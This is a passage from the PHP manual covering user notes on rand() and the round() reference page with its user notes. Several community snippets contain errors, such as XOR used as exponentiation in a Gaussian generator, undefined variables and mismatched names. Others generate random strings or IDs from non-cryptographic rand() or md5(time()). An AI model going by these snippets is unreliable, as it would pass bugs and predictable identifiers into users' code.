Which means the next number that should be spat out is (25352×20077+12345) % 32768 = 19105 -- which indeed it is.

It's not the small rand_max that breaks the algorithm, it's a weakness in the  LCG algorithm itself. It's designed for when you only want a few kinda-random numbers occasionally, not if you want to generate any random-looking data.
thibault dot debatty at gmail dot com 24-Jul-2012 06:01
In Suhosin version 0.9.26 (released 2008.08.22) and above:
- rand() and srand() are transparently modified to use the Mersenne Twister algorithm with separate state
- rand() and mt_rand() have better internal seeding
- srand() and mt_srand() are ignored (can be configured)
Justin Richer 28-Mar-2012 10:43
Since many people (myself included) come to this page looking for a way to do a random string, I present a way that uses arrays and shuffle() instead of rand(). This also has the effect of not repeating any characters in the value set.

    $arr = str_split('ABCDEFGHIJKLMNOP'); // get all the characters into an array
    shuffle($arr); // randomize the array
    $arr = array_slice($arr, 0, 6); // get the first six (random) characters out
    $str = implode('', $arr); // smush them back into a string
matthias dot isler at gmail dot com 29-Feb-2012 12:44
I had to create a function that generates a random binominal distributed integer. Take a look at the following Wiki article:

http://en.wikipedia.org/wiki/Binomial_distribution

Here is my solution:

<?php

function bin_rand($min = null, $max = null)
{
    $min = ($min) ? (int) $min : 0;
    $max = ($max) ? (int) $max : PHP_INT_MAX;

    $range = range($min, $max);
    $average = array_sum($range) / count($range);

    $dist = array();
    for ($x = $min; $x <= $max; $x++) {
        $dist[$x] = -abs($average - $x) + $average + 1;
    }

    $map = array();
    foreach ($dist as $int => $quantity) {
        for ($x = 0; $x < $quantity; $x++) {
            $map[] = $int;
        }
    }

    shuffle($map);
    return current($map);
}

?>
Zak 02-Oct-2011 05:34
I couldn't find a suitable random alpha-numeric generator function so I rolled my own. It gives a random number in base 36 (0-9, a-z) to a given length.

<?php
function randomAlphaNum($length){

    $rangeMin = pow(36, $length-1); //smallest number to give length digits in base 36
    $rangeMax = pow(36, $length)-1; //largest number to give length digits in base 36
    $base10Rand = mt_rand($rangeMin, $rangeMax); //get the random number
    $newRand = base_convert($base10Rand, 10, 36); //convert it

    return $newRand; //spit it out

}
?>

hopefully helps someone
shiawase at gmail dot com 02-Aug-2011 04:32
Another one-liner to generate strings:
<?php
substr(str_shuffle(str_repeat('ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789',5)),0,5);
?>
The strings can be repeated to have the possibility that a character appears multiple times.
Alex Khimch alex at khim dot removeit dot ich dot org 19-Mar-2011 10:41
Random is NOT actually random.

It is easily illustrated by multiplying rand(1,500) by rand(1,500) and showing the output on the image:

<?php
header("Content-type: image/png");
$img = imagecreatetruecolor(500,500);

$ink = imagecolorallocate($img,255,255,255);

for($i=0;$i<500;$i++) {
  for($j=0;$j<500;$j++) {
  imagesetpixel($img, rand(1,500), rand(1,500), $ink1);
  }
}

imagepng($img);
imagedestroy($img);

?>

I expected to get pixel noise, but instead one can see plain diagonal lines.
szeryf.wordpress.com 24-Feb-2011 08:26
Much easier way to generate random string of numbers and letters:

<?php
$n = rand(10e16, 10e20);
echo base_convert($n, 10, 36);
?>

This generates strings of about 11 characters. Experiment with the range for rand() if you want shorter or longer.
Alireza Eliaderani 10-Sep-2010 11:18
Random integers with normal distribution,
it's not scientifically approved, but worked for me.

<?php
/*
* @param float  $mean, desired average
* @param number $sd, number of items in array
* @param number $min, minimum desired random number
* @param number $max, maximum desired random number
* @return array
*/
function array_distribute($mean,$sd,$min,$max){
    $result = array();
    $total_mean = intval($mean*$sd);
    while($sd>1){
        $allowed_max = $total_mean - $sd - $min;
        $allowed_min = intval($total_mean/$sd);
        $random = mt_rand(max($min,$allowed_min),min($max,$allowed_max));
        $result[]=$random;
        $sd--;
        $total_mean-=$random;
    }
    $result[] = $total_mean;
    return $result;
}
?>
liveonaware [at] gmail [dot] com 01-Jun-2010 05:16
<?php
//To Pull 7 Unique Random Values Out Of AlphaNumeric

//removed number 0, capital o, number 1 and small L
//Total: keys = 32, elements = 33
$characters = array(
"A","B","C","D","E","F","G","H","J","K","L","M",
"N","P","Q","R","S","T","U","V","W","X","Y","Z",
"1","2","3","4","5","6","7","8","9");

//make an "empty container" or array for our keys
$keys = array();

//first count of $keys is empty so "1", remaining count is 1-6 = total 7 times
while(count($keys) < 7) {
    //"0" because we use this to FIND ARRAY KEYS which has a 0 value
    //"-1" because were only concerned of number of keys which is 32 not 33
    //count($characters) = 33
    $x = mt_rand(0, count($characters)-1);
    if(!in_array($x, $keys)) {
       $keys[] = $x;
    }
}

foreach($keys as $key){
   $random_chars .= $characters[$key];
}
echo $random_chars;
?>
Anonymous 06-Mar-2010 03:41
Generate a random 5 character A-Z0-9  string

<?php
for ($i=0; $i<6; $i++) {
    $d=rand(1,30)%2;
    echo $d ? chr(rand(65,90)) : chr(rand(48,57));
}
?>

# php -r 'for ($i=0; $i<6; $i++) { $d=rand(1,30)%2; echo $d ? chr(rand(65,90)) : chr(rand(48,57)); } echo "\n";'
14BW1A
John Galt 02-Jan-2010 08:24
Another way to create an array of random numbers where there are no identical numbers.

($n = number of random numbers to return in the array
$min = minimum number
$max = maximum number)

<?php
 function uniqueRand($n, $min = 0, $max = null)
 {
  if($max === null)
   $max = getrandmax();
  $array = range($min, $max);
  $return = array();
  $keys = array_rand($array, $n);
  foreach($keys as $key)
   $return[] = $array[$key];
  return $return;
 }
?>
Hugo Scott hrmscott at hotmail dot com 29-Jul-2009 04:52
Here's a simple function to generate a random date between a start date and an end date.

It is inclusive of BOTH dates - so using dates 2009-04-01 and 2009-04-03 would generate a random date that could be 2009-04-01, 2009-04-02 or 2009-04-03.

It won't work if the end date is prior to the start date and if you use a non-existant date (eg 2009-02-30) it defaults to 1970-01-01

the longer version:
<?php
function makeRandomDateInclusive($startDate,$endDate){
    $days = round((strtotime($endDate) - strtotime($startDate)) / (60 * 60 * 24));
    $n = rand(0,$days);
    return date("Y-m-d",strtotime("$startDate + $n days"));
}
?>

and the one-line version for compactness freaks:
<?php
function makeRandomDateInclusive($startDate,$endDate){
    return date("Y-m-d",strtotime("$startDate + ".rand(0,round((strtotime($endDate) - strtotime($startDate)) / (60 * 60 * 24)))." days"));
}
?>

it is called like this
<?php
echo makeRandomDateInclusive('2009-04-01','2009-04-03');
?>
Hope this is of some use to someone
Greg R. 16-Jun-2009 01:49
I thought this function (random color) might be of use to someone [to create and return a random hex for HTML colors]:

<?php
function get_random_color()
{
    for ($i = 0; $i<6; $i++)
    {
        $c .=  dechex(rand(0,15));
    }
    return "#$c";
}
?>
david [at] ddrewdesign [dot] com 27-May-2009 03:21
To Jano and Peta:

Thanks for the code. In real world usage, I only had one problem with it: It will never return the first result of the array (or it will return nothing if there's only one item in the array). To remedy this, I simply subtracted 1 from

<?php
$rand = rand(1,$max);
?>

like so:

<?php
$rand = rand(1,$max)-1;
?>

Thanks though, for the code you supplied. It was exactly what I needed.
kyle dot florence [@t] gmail dot com 09-May-2009 12:23
Improved random string generation function:

<?php
// Generate a random character string
function rand_str($length = 32, $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890')
{
    // Length of character list
    $chars_length = (strlen($chars) - 1);

    // Start our string
    $string = $chars{rand(0, $chars_length)};

    // Generate random string
    for ($i = 1; $i < $length; $i = strlen($string))
    {
        // Grab a random character from our list
        $r = $chars{rand(0, $chars_length)};

        // Make sure the same two characters don't appear next to each other
        if ($r != $string{$i - 1}) $string .=  $r;
    }

    // Return the string
    return $string;
}
?>
admin at djs-music dot com 25-Apr-2009 07:13
A nice function to generate a random string, using any character:

<?php
function generateRandStr($length){
      $randstr = "";
      for($i=0; $i<$length; $i++){
         $randnum = mt_rand(0,61);
         if($randnum < 10){
            $randstr .= chr($randnum+48);
         }else if($randnum < 36){
            $randstr .= chr($randnum+55);
         }else{
            $randstr .= chr($randnum+61);
         }
      }
      return $randstr;
   }
?>

Simply use:
generateRandStr(10);

Sample output: $%29zon(4f
petabyte.se 15-Mar-2009 05:56
As an further optimization on janoserki[at]gmail[dot]com previous post i would recommend that you optimize you first part of php/sql code to something like this.

<?php
// estimate the number of rows in a table
$lekerdezes = mysql_query("select count(*) as rows from table");
while ($row = mysql_fetch_assoc($lekerdezes))
{
    $max = $row["rows"];
}
?>
the count(*) is much faster for the database than grabbing the hole dataset from the table.
janoserki [at] gmail [dot] com 04-Mar-2009 09:16
Easy way for mysql: random row
the original form is: "... order by rand()"
but this is not the best way, because it's very slow by a big database (it can take more minutes to complete the request!)
My suggestion:

<?php
// estimate the number of rows in a table
$lekerdezes = mysql_query("select * from table");
$max = mysql_num_rows($lekerdezes);

// pick one
$rand = rand(1,$max);

$lekerdezes2 = mysql_query("select * from table limit $rand, 1");

// that's all folks :)

?>
whatchildisthis at gmail dot com 07-Dec-2008 01:00
I also enjoy making one-liners.

Here's a non-regular expression approach. It generates a random 32 character string consisting of, by default, only A-Z, a-z, and 0-9, but you can change the value of $a for other characters. The random string will be in variable $s after this line.

<?php
for ($s = '', $i = 0, $z = strlen($a = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789')-1; $i != 32; $x = rand(0,$z), $s .= $a{$x}, $i++);
?>

If you don't want the same character to appear beside itself, use this:

<?php
for ($i = 0, $z = strlen($a = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890')-1, $s = $a{rand(0,$z)}, $i = 1; $i != 32; $x = rand(0,$z), $s .= $a{$x}, $s = ($s{$i} == $s{$i-1} ? substr($s,0,-1) : $s), $i=strlen($s));
?>

For those of you who want both as a function, use this:

<?php
function rand_chars($c, $l, $u = FALSE) {
 if (!$u) for ($s = '', $i = 0, $z = strlen($c)-1; $i < $l; $x = rand(0,$z), $s .= $c{$x}, $i++);
 else for ($i = 0, $z = strlen($c)-1, $s = $c{rand(0,$z)}, $i = 1; $i != $l; $x = rand(0,$z), $s .= $c{$x}, $s = ($s{$i} == $s{$i-1} ? substr($s,0,-1) : $s), $i=strlen($s));
 return $s;
}
?>

string $c is the string of characters to use.
integer $l is how long you want the string to be.
boolean $u is whether or not a character can appear beside itself.

Examples:
rand_chars("ABCEDFG", 10) == GABGFFGCDA
rand_chars("ABCEDFG", 10, TRUE) == CBGFAEDFEC
opbarnes 20-Oct-2008 09:33
Generate a random 5 character alpha string:

<?php
print preg_replace('/([ ])/e', 'chr(rand(97,122))', '     ');
?>
Anonymous 31-Jul-2008 01:29
quick way to generate randomish numbers and simple strings.
no messing around with functions, so you can just pop the line into the middle of your existing code.

not the most perfect for sure, but ok for plenty of situations...

<?php

$random_number = intval( "0" . rand(1,9) . rand(0,9) . rand(0,9) . rand(0,9) . rand(0,9) ); // random(ish) 5 digit int

$random_string = chr(rand(65,90)) . chr(rand(65,90)) . chr(rand(65,90)) . chr(rand(65,90)) . chr(rand(65,90)); // random(ish) 5 character string

?>

hope someone finds it useful for somthing.

regards,
deeeeeen alxndr0u
davidsteinsland [at] gmail [dot] com 26-Apr-2008 09:27
emad_ramahi at hotmail dot com:
I've actually noticed that with a large dataset (100k rows), the query dramatically slows down the server and performance is way too bad.

The way I see it, you have to workable solutions:

Using PHP:

<?php
//$Table holds the name of the table we're getting the random row from
//$Rows specifies how many rows we need to fetch
function mysql_rand ($Query, $Rows = 1) {
    //getting the table name from $query
    //what you can do, is replace the $query argument with $table,
    //this way to dont have to search for the table's name
    $SQL = sprintf ('SELECT COUNT(*) FROM %s', substr ($query, stripos ($query, 'from')+5, strpos ($query, ' ')));

    $Max = mysql_result (mysql_query ($SQL), 0);
    $Random = rand (0, $Max);

    //If the random number is 99, and the database only has 100 rows
    //We'll subtract the random number, so we don't exceed 100, thus preventing a MySQL error message
    return $Query . sprintf ('LIMIT %d, %d', ($Max < $Rows) ? 0 : (($Random > $Max - $Rows) ? $Max - $Rows : $Random), $Rows);
}

//Instead of using MySQL's RAND(), we use LIMIT to fetch rows
//E.g. LIMIT 5,9 fetches from row 5, and the subsequent 9
$SQL = mysql_rand ('SELECT row FROM table'); //SELECT row FROM table LIMIT x, y
?>

or SQL:
SELECT * FROM Table T JOIN (SELECT FLOOR(MAX(ID)*RAND()) AS ID FROM Table) AS x ON T.ID >= x.ID LIMIT 1;
Ishtar 10-Sep-2007 03:18
A small comment on phpdev-dunnbypauls conclusion that rand() only generates numbers that are a multiply of 3.
<?php
$n = rand(0,100000); // with MAX_RAND=32768
?>
Since, 100000/32768=3.05 you get multiples of 3. The random integer will be multiplied by 3.05 to fit between 0 and 100000. rand() works fine, if you don't ask for bigger numbers then RAND_MAX.
bozo_z_clown at yahoo dot com 24-May-2007 02:36
Note that the automatic seeding seems to be done with the current number of seconds which means you can get the same results for several runs on a fast server.  Either call srand() yourself with a more frequently changing seed or use mt_rand() which doesn't appear to suffer from the problem.
jont at live dot co dot uk 05-Apr-2007 12:42
isn't this just a simpler way of making a random id for somthing? I mean i know that there is a very slight chance that a duplicate could be made but its a very, very, very small chance, nearly impossible.

$rand = mt_rand(0, 32);
$code = md5($rand . time());
echo "$code";

and if you don't want it the md5 can be removed, I've just added it as a prefer it there :)

Jon
phpdev at dunnbypaul dot net 08-Mar-2007 05:51
Here's an interesting note about the inferiority of the rand() function. Try, for example, the following code...

<?php
$r = array(0,0,0,0,0,0,0,0,0,0,0);
for ($i=0;$i<1000000;$i++) {
  $n = rand(0,100000);
  if ($n<=10) {
    $r[$n]++;
  }
}
print_r($r);
?>

which produces something similar to the following output (on my windows box, where RAND_MAX is 32768):

Array
(
    [0] => 31
    [1] => 0
    [2] => 0
    [3] => 31
    [4] => 0
    [5] => 0
    [6] => 30
    [7] => 0
    [8] => 0
    [9] => 31
    [10] => 0
)

Within this range only multiples of 3 are being selected. Also note that values that are filled are always 30 or 31 (no other values! really!)

Now replace rand() with mt_rand() and see the difference...

Array
(
    [0] => 8
    [1] => 8
    [2] => 14
    [3] => 16
    [4] => 9
    [5] => 11
    [6] => 8
    [7] => 9
    [8] => 7
    [9] => 7
    [10] => 9
)

Much more randomly distributed!

Conclusion: mt_rand() is not just faster, it is a far superior algorithm.
ludicruz at yahoo dot com 27-Sep-2006 02:42
frank, nick at nerdynick dot com, and kniht
this is now O(n) instead of O(n^2) ish...

<?php
function rand_permute($size, $min, $max)
{
    $retval = array();
    //initialize an array of integers from $min to $max
    for($i = $min;$i <= $max;$i++)
    {
        $retval[$i] = $i;
    }
    //start with the the first index ($min).
    //randomly swap this number with any other number in the array.
    //this way we guarantee all numbers are permuted in the array,
    //and we assure no number is used more than once (technically reiterating prev line).
    //therefore we don't have to do the random checking each time we put something into the array.
    for($i=$min; $i < $size; $i++)
    {
        $tmp = $retval[$i];
        $retval[$i] = $retval[$tmpkey = rand($min, $max)];
        $retval[$tmpkey] = $tmp;
    }
    return array_slice($retval, 0, $size);
}
?>
smaaps at kaldamar dot de 07-Jun-2005 07:44
Lately I needed some random numbers with a gaussian (normal) distribution, not evenly distributed as the numbers generated by rand(). After googling a while, I found out that there is no perfect algrorithm that creates such numbers out of evenly distruted random numbers but a few methods that have similar effect. The following function implements all three algorithms I found- The the last two methods create numbers where you can find a lower and upper boundary and the first one will create a number from time to time (such as one in every 10000) that may be very far from the average value. Have fun testing and using it.

<?php
function gauss($algorithm = "polar") {
    $randmax = 9999;

    switch($algorithm) {

        //polar-methode by marsaglia
        case "polar":
            $v = 2;
            while ($v > 1) {
                $u1 = rand(0, $randmax) / $randmax;
                $u2 = rand(0, $randmax) / $randmax;

                $v = (2 * $u1 - 1) * (2 * $u1 - 1) + (2 * $u2 - 1) * (2 * $u2 - 1);
            }

            return (2* $u1 - 1) * (( -2 * log($v) / $v) ^ 0.5);

        // box-muller-method
        case "boxmuller":
            do {
                $u1 = rand(0, $randmax) / $randmax;
                $u2 = rand(0, $randmax) / $randmax;

                $x = sqrt(-2 * log($u1)) * cos(2 * pi() * $u2);
            } while (strval($x) == "1.#INF" or strval($x) == "-1.#INF");

            // the check has to be done cause sometimes (1:10000)
            // values such as "1.#INF" occur and i dont know why

            return $x;

        // twelve random numbers
        case "zwoelfer":
            $sum = 0;
            for ($i = 0; $i < 12; $i++) {
                $sum += rand(0, $randmax) / $randmax;
            }
            return $sum;
     }
}
?>
relsqui at armory dot com 21-Jan-2005 11:23
Don't forget, it's faster to use bitwise operations when you need a random number that's less than some power of two. For example,

<?php
rand()&1;
// instead of
rand(0,1);
// for generating 0 or 1,

rand()&3;
// instead of
rand(0,3);
// for generating 0, 1, 2, or 3,

rand()&7;
// instead of
rand(0,7)
// for generating 0, 1, 2, 3, 4, 5, 6, or 7,
?>

and so on. All you're doing there is generating a default random number (so PHP doesn't have to parse any arguments) and chopping off the piece that's useful to you (using a bitwise operation which is faster than even basic math).


Rounds a float

  • « rand
  • sin »
  • PHP Manual
  • Math Functions
  • Rounds a float

round

(PHP 4, PHP 5)

round — Rounds a float

Description

float round ( float $val [, int $precision = 0 [, int $mode = PHP_ROUND_HALF_UP ]] )

Returns the rounded value of val to specified precision (number of digits after the decimal point). precision can also be negative or zero (default).

Note: PHP doesn't handle strings like "12,300.2" correctly by default. See converting from strings.

Parameters

val

The value to round

precision

The optional number of decimal digits to round to.

mode

Use one of the following constants to specify the mode in which rounding occurs.

Constant | Description
PHP_ROUND_HALF_UP | Round val up to precision decimal places away from zero, when it is half way there. Making 1.5 into 2 and -1.5 into -2.
PHP_ROUND_HALF_DOWN | Round val down to precision decimal places towards zero, when it is half way there. Making 1.5 into 1 and -1.5 into -1.
PHP_ROUND_HALF_EVEN | Round val to precision decimal places towards the next even value.
PHP_ROUND_HALF_ODD | Round val to precision decimal places towards the next odd value.

Return Values

The rounded value

Examples

Example #1 round() examples

<?php
echo round(3.4);         // 3
echo round(3.5);         // 4
echo round(3.6);         // 4
echo round(3.6, 0);      // 4
echo round(1.95583, 2);  // 1.96
echo round(1241757, -3); // 1242000
echo round(5.045, 2);    // 5.05
echo round(5.055, 2);    // 5.06
?>

Example #2 mode examples

<?php
echo round(9.5, 0, PHP_ROUND_HALF_UP);   // 10
echo round(9.5, 0, PHP_ROUND_HALF_DOWN); // 9
echo round(9.5, 0, PHP_ROUND_HALF_EVEN); // 10
echo round(9.5, 0, PHP_ROUND_HALF_ODD);  // 9

echo round(8.5, 0, PHP_ROUND_HALF_UP);   // 9
echo round(8.5, 0, PHP_ROUND_HALF_DOWN); // 8
echo round(8.5, 0, PHP_ROUND_HALF_EVEN); // 8
echo round(8.5, 0, PHP_ROUND_HALF_ODD);  // 9
?>

Example #3 mode with precision examples

<?php
/* Using PHP_ROUND_HALF_UP with 1 decimal digit precision */
echo round( 1.55, 1, PHP_ROUND_HALF_UP);   //  1.6
echo round( 1.54, 1, PHP_ROUND_HALF_UP);   //  1.5
echo round(-1.55, 1, PHP_ROUND_HALF_UP);   // -1.6
echo round(-1.54, 1, PHP_ROUND_HALF_UP);   // -1.5

/* Using PHP_ROUND_HALF_DOWN with 1 decimal digit precision */
echo round( 1.55, 1, PHP_ROUND_HALF_DOWN); //  1.5
echo round( 1.54, 1, PHP_ROUND_HALF_DOWN); //  1.5
echo round(-1.55, 1, PHP_ROUND_HALF_DOWN); // -1.5
echo round(-1.54, 1, PHP_ROUND_HALF_DOWN); // -1.5

/* Using PHP_ROUND_HALF_EVEN with 1 decimal digit precision */
echo round( 1.55, 1, PHP_ROUND_HALF_EVEN); //  1.6
echo round( 1.54, 1, PHP_ROUND_HALF_EVEN); //  1.5
echo round(-1.55, 1, PHP_ROUND_HALF_EVEN); // -1.6
echo round(-1.54, 1, PHP_ROUND_HALF_EVEN); // -1.5

/* Using PHP_ROUND_HALF_ODD with 1 decimal digit precision */
echo round( 1.55, 1, PHP_ROUND_HALF_ODD);  //  1.5
echo round( 1.54, 1, PHP_ROUND_HALF_ODD);  //  1.5
echo round(-1.55, 1, PHP_ROUND_HALF_ODD);  // -1.5
echo round(-1.54, 1, PHP_ROUND_HALF_ODD);  // -1.5
?>

Changelog

Version | Description
5.3.0 | The mode parameter was introduced.
5.2.7 | The inner workings of round() was changed to conform to the C99 standard.

See Also

  • ceil() - Round fractions up
  • floor() - Round fractions down
  • number_format() - Format a number with grouped thousands

User Contributed Notes

slimusgm at gmail dot com 02-Sep-2014 12:34
If you have negative zero and you need return positive number simple add +0:

$number = -2.38419e-07;
var_dump(round($number,1));//float(-0)
var_dump(round($number,1) + 0);//float(0)
serg at kalachev dot ru 24-Aug-2014 03:31
Excel-like ROUNDUP function:

public static function round_up($value, $places)
{
    $mult = pow(10, abs($places));
     return $places < 0 ?
    ceil($value / $mult) * $mult :
        ceil($value * $mult) / $mult;
}

echo round_up(12345.23, 1); // 12345.3
echo round_up(12345.23, 0); // 12346
echo round_up(12345.23, -1); // 12350
echo round_up(12345.23, -2); // 12400
echo round_up(12345.23, -3); // 13000
echo round_up(12345.23, -4); // 20000
Prasad 10-Jul-2014 04:45
What should round(-0.25) return?
// 0
or
// -0

Shouldn't it be 0?
esion99 at gmail dot com 02-Jul-2014 07:49
Unexpected result or misunderstanding (php v5.5.9)

<?php

echo round(1.55, 1, PHP_ROUND_HALF_DOWN); // 1.5
echo round(1.551, 1, PHP_ROUND_HALF_DOWN); //1.6

?>
spectrumcat at gmail dot com 19-Mar-2014 11:22
In case someone will need a "graceful" rounding (that changes it's precision to get a non 0 value) here's a simple function:

function gracefulRound($val, $min = 2, $max = 4) {
    $result = round($val, $min);
    if ($result == 0 && $min < $max) {
        return gracefulRound($val, ++$min, $max);
    } else {
        return $result;
    }
}

Usage:
$_ = array(0.5, 0.023, 0.008, 0.0007, 0.000079, 0.0000048);
foreach ($_ as $val) {
    echo "{$val}: ".gracefulRound($val)."\n";
}

Output:
0.5: 0.5
0.023: 0.02
0.008: 0.01
0.0007: 0.001
0.000079: 0.0001
0.0000048: 0
takingsides at gmail dot com 08-Mar-2014 12:00
In my opinion this function lacks two flags:

- PHP_ROUND_UP - Always round up.
- PHP_ROUND_DOWN - Always round down.

In accounting, it's often necessary to always round up, or down to a precision of thousandths.

<?php
function round_up($number, $precision = 2)
{
    $fig = (int) str_pad('1', $precision, '0');
    return (ceil($number * $fig) / $fig);
}

function round_down($number, $precision = 2)
{
    $fig = (int) str_pad('1', $precision, '0');
    return (floor($number * $fig) / $fig);
}
?>
djcox99 at googlemail dot com 13-Jan-2014 08:28
I discovered that under some conditions you can get rounding errors with round when converting the number to a string afterwards.

To fix this I swapped round() for number_format().

Unfortunately i cant give an example (because the number cant be represented as a string !)

essentially I had round(0.688888889,2);

which would stay as 0.68888889 when printed as a string.

But using number_format it correctly became 0.69.
craft at ckdevelop dot org 17-Dec-2013 10:34
function mround($val, $f=2, $d=6){
    return sprintf("%".$d.".".$f."f", $val);
}

echo mround(34.89999);  //34.90
Anonymous 24-Mar-2013 10:31
Note that the returned string does not always include as many decimal digits as required by the precision argument.
It is because the least significant decimal digit(s) is (are) not reported if it is (they are) 0.
So:
<?php
round(1.105,2); // returns 1.11
?>
but:
<?php
round(1.104,2); // returns 1.1 instead of 1.10
?>
More:
<?php
round(1.004,2); // returns 1 (even the decimal point is not reported)
?>
dastra 12-Jul-2012 08:16
round() will sometimes return E notation when rounding a float when the amount is small enough - see  https://bugs.php.net/bug.php?id=44223 .  Apparently it's a feature.

To work around this "feature" when converting to a string, surround your round statement with an sprintf:

sprintf("%.10f", round( $amountToBeRounded, 10));
christian at deligant dot net 15-Sep-2011 10:24
this function (as all mathematical operators) takes care of the setlocale setting, resulting in some weirdness when using the result where the english math notation is expected, as the printout of the result in a width: style attribute!

<?php
$a=3/4;
echo round($a, 2); // 0.75

setlocale(LC_ALL, 'it_IT@euro', 'it_IT', 'it');
$b=3/4;
echo round($b,2); // 0,75
?>
omnibus at omnibus dot edu dot pl 19-Nov-2010 11:26
Beware strange behaviour if number is negative and precision is bigger than the actual number of digits after comma.

round(-0.07, 4);

returns

-0.07000000000000001

So if you validate it against a regular expression requiring the maximum amount of digits after comma, you'll get into trouble.
Anonymous 08-Oct-2010 01:07
Here is function that rounds to a specified increment, but always up. I had to use it for price adjustment that always went up to $5 increments.

<?php
function roundUpTo($number, $increments) {
    $increments = 1 / $increments;
    return (ceil($number * $increments) / $increments);
}
?>
feha at vision dot to 27-Aug-2010 04:59
Here is a short neat function to round minutes (hour) ...

<?php

function minutes_round ($hour = '14:03:32', $minutes = '5', $format = "H:i")
{
    // by Femi Hasani [www.vision.to]
    $seconds = strtotime($hour);
    $rounded = round($seconds / ($minutes * 60)) * ($minutes * 60);
    return date($format, $rounded);
}

?>

You decide to round to nearest minute ...
example will produce : 14:05
lossantis at ig dot com dot br 15-Jul-2010 04:02
Since the mode parameter for options like PHP_ROUND_HALF_UP is available as of PHP 5.3, here is an alternative for ceiling:

<?php echo 252 / 40; // 6.3 ?>

If I round this:

<?php echo round(252 / 40); // 6 ?>

You can also use a ceil (which might be useful for pagination):

<?php echo ceil(252/40); // 7 ?>

[Edited by: googleguy@php.net for clarity]
hugues at zonereseau dot com 01-Jul-2010 09:45
I had problem with round() function I didn't gave me the same result in windows or on a linux server :

<?php
round(4.725, 2); // gave me 4.72 on linux
round(4.725, 2); // gave me 4.73 on windows
?>

The expected result was 4.73

Here my function to resolve my problem

<?php
function mround($number, $precision=0) {

    $precision = ($precision == 0 ? 1 : $precision);
    $pow = pow(10, $precision);

    $ceil = ceil($number * $pow)/$pow;
    $floor = floor($number * $pow)/$pow;

    $pow = pow(10, $precision+1);

    $diffCeil     = $pow*($ceil-$number);
    $diffFloor     = $pow*($number-$floor)+($number < 0 ? -1 : 1);

    if($diffCeil >= $diffFloor) return $floor;
    else return $ceil;
}

echo mround(4.725, 2); // Yes 4.73
?>
Anonymous 02-Nov-2009 05:52
This functions return ceil($nb) if the double or float value is bigger than "$nb.5" else it's return floor($nb)

<?php
    function arounds_int($nb) {

        if(!is_numeric($nb)) {
            return false;
        }

        $sup = round($nb);
        $inf = floor($nb);
        $try = (double) $inf . '.5' ;

        if($nb > $try) {
            return $sup;
        }

        return $inf;
    }
?>
michaeldnelson dot mdn at gmail dot com 25-Sep-2009 03:42
This function will let you round to an arbitrary non-zero number.  Zero of course causes a division by zero.

<?php
function roundTo($number, $to){
    return round($number/$to, 0)* $to;
}

echo roundTo(87.23, 20); //80
echo roundTo(-87.23, 20); //-80
echo roundTo(87.23, .25); //87.25
echo roundTo(.23, .25); //.25
?>
Bevan 17-Sep-2009 09:24
Formats a number to the specified number of significant figures.

<?php
/**
 * Formats numbers to the specified number of significant figures.
 *
 * @author Bevan Rudge, Drupal.geek.nz
 *
 * @param number $number
 *   The number to format.
 * @param integer $sf
 *   The number of significant figures to round and format the number to.
 * @return string
 *   The rounded and formatted number.
 */
function format_number_significant_figures($number, $sf) {
  // How many decimal places do we round and format to?
  // @note May be negative.
  $dp = floor($sf - log10(abs($number)));
  // Round as a regular number.
  $number = round($number, $dp);
  // Leave the formatting to format_number(), but always format 0 to 0dp.
  return number_format($number, 0 == $number ? 0 : $dp);
}
?>
martinr at maarja dot net 13-Jan-2008 12:40
Please note that the format of this functions output also depends on your locale settings. For example, if you have set your locale to some country that uses commas to separate decimal places, the output of this function also uses commas instead of dots.

This might be a problem when you are feeding the rounded float number into a database, which requires you to separate decimal places with dots.

See it in action:
<?php
    echo round('3.5558', 2);
    setlocale(constant('LC_ALL'), 'et_EE.UTF-8');
    echo '<br />'. round('3.5558', 2);
?>

The output will be:
3.56
3,56
tom at crysis-online dot com 18-Mar-2007 05:31
I just found out then that even if you round a double (3.7) to an integer (4), it's data type remains as 'double'. So it's always good to use the settype() function when using the round() function to prevent any problems with your scripts.
maxteiber at gmail dot com 16-Oct-2006 02:15
the result of this function always depends on the underlying C function. There have been a lot of compiler bugs and floating-point precission problems involving this function. Right now the following code:

<?php
echo round(141.075, 2);
?>

returns:

141.07

on my machine.
So never really trust this function when you do critical calculations like accounting stuff!
Instead: use only integers or use string comparisons.
terry at scribendi dot com 12-Jan-2004 08:45
To round any number to a given number of significant digits, use log10 to find out its magnitude:

<?php round($n, ceil(0 - log10($n)) + $sigdigits); ?>

Or when you have to display a per-unit price which may work out to be less than a few cents/pence/yen you can use:

<?php
// $exp = currency decimal places - 0 for Yen/Won, 2 for most others
$dp = ceil(0 - log10($n)) + $sigdigits;
$display = number_format($amount, ($exp>$dp)?$exp:$dp);
?>

This always displays at least the number of decimal places required by the currency, but more if displaying the unit price with precision requires it - eg: 'English proofreading from $0.0068 per word', 'English beer from $6.80 per pint'.
ianring (at) golden.net 07-Aug-2003 09:30
The round() function may indeed work properly with half-values (eg. 1.5), but this little method will give you peace of mind. Add some "fuzz" to your function with a miniscule delta value.

<?php
$delta = 0.00001;
$x = round($x+$delta);
?>

This is fine, unless $x has a value of 1.49999 ... if you worried about that, use this method instead:

<?php
if(($x-floor($x))==0.5){
   $x+=$delta;
}
$x = round($x);
?>

you can change your "optimistic" delta into a "pessimistic" delta by subtracting instead of adding.

Cheers,
Ian Ring
tichoux at charlevoix dot net 23-Oct-2002 11:06
for a poll, if you want to have 100% and not 99 or 99.99 % you can do that :

<?php
round( number_format( (($individual_result*100)/$total_result), 2), 1);
?>
php at silisoftware dot com 14-Aug-2002 11:15
Here's a function to round to an arbitary number of significant digits. Don't confuse it with rounding to a negative precision - that counts back from the decimal point, this function counts forward from the Most Significant Digit.

ex:

<?php
round(1241757, -3); // 1242000
RoundSigDigs(1241757, 3); // 1240000
?>

Works on negative numbers too. $sigdigs should be >= 0

<?php
function RoundSigDigs($number, $sigdigs) {
    $multiplier = 1;
    while ($number < 0.1) {
        $number *= 10;
        $multiplier /= 10;
    }
    while ($number >= 1) {
        $number /= 10;
        $multiplier *= 10;
    }
    return round($number, $sigdigs) * $multiplier;
}
?>
twan at ecreation dot nl 16-May-2000 03:51
If you'd only want to round for displaying variables (not for calculating on the rounded result) then you should use printf with the float:

